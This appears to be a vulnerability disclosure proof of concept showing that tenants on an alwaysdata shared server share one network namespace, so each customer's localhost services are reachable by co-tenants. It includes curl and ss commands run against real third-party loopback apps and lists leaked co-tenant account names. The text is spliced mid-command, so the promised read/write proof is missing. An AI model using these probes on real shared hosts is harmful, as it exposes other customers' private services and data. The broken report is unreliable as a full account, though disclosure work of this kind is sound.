# PoC — alwaysdata shared hosting: all tenants share ONE network namespace # => a customer's loopback (127.0.0.1) services are READABLE **and WRITABLE** by any co-tenant Server: ssh2 (shared web server, kernel 6.18.52-alwaysdata, Debian bookworm) Shared net namespace for every account: readlink /proc/self/ns/net => net:[4026531833] (init ns) Date: 2026-10-10 Two accounts, BOTH owned by us, confirmed co-located on ssh2 with the SAME net namespace: - ATTACKER = account A qqqqqq111 uid 554081 (runs no service of its own) - VICTIM = account B ihorsecb uid 553290 (a DIFFERENT tenant/customer/uid) Both: `hostname` => ssh2 ; `readlink /proc/self/ns/net` => net:[4026531833]. ======================================================================================= PART 1 — WRITE/CONTROL proof, built ENTIRELY on our own accounts (this escalation) ======================================================================================= ## 1a. On the VICTIM (account B, uid 553290): start a tiny service bound to loopback only A ~90-line Python http.server (victim_server.py) bound to 127.0.0.1:49237 exposing: GET /canary -> returns a secret generated at startup, stored in canary.txt (mode 600) GET /status -> returns persisted state in state.json POST /set -> mutates state.json (flag/note), increments a write counter, echoes new state The owner reasonably believes 127.0.0.1 is private to their account. B$ cd ~/poc-victim && nohup python3 victim_server.py 49237 >server.log 2>&1 each, no data pulled, apps not driven): A$ curl -s -D- http://127.0.0.1:8530/ | head HTTP/1.1 200 OK ; Server: Werkzeug/3.1.9 Python/3.13.16 ; Content-Length: 64577 ⚡ Flash Sniper | Limit Maker DCA & Parçalı Çıkış İstasyonu # a co-tenant's private trading-bot panel, NO auth A$ curl -s http://127.0.0.1:5000/ | grep -i '' <title>OmniRoute Low-Context Model Checker | Free AI Combo Validator # a different co-tenant's app, NO auth A$ ss -lx | grep /home/ # other tenants' unix sockets leak home/account names .../home/nexa-reseau-ecna/.claude/remote/run//rpc.sock .../home/animezenith/.pm2/{pub,rpc}.sock These third-party loopback apps answer unauthenticated (HTTP 200). Exactly as Part 1 shows on our own pair, an attacker reaching such a service can both READ its contents and POST to its unauthenticated control endpoints — read AND write real co-tenant data. We deliberately did NOT drive or write to any real tenant; alwaysdata can verify the scale internally. ## What is NOT vulnerable (isolation that holds — still true) - /home/ 1770 root: -> fs traversal denied - /nfs/{imap,backup}*/ 0770 -> stat only - /proc hidepid=invisible -> other pids/environ hidden - no_new_privs -> setuid/sudo neutralised - WebDAV / FTP confined to account root (403/550) The platform's OWN loopback services are correctly auth-gated (monit:2812, PowerDNS:8083, almonitor:8593, :7102 all 401) — so the exposure is specifically *customers'* services, which they bound to localhost believing the host-private convention holds. It does not: the network namespace is shared, so localhost is shared.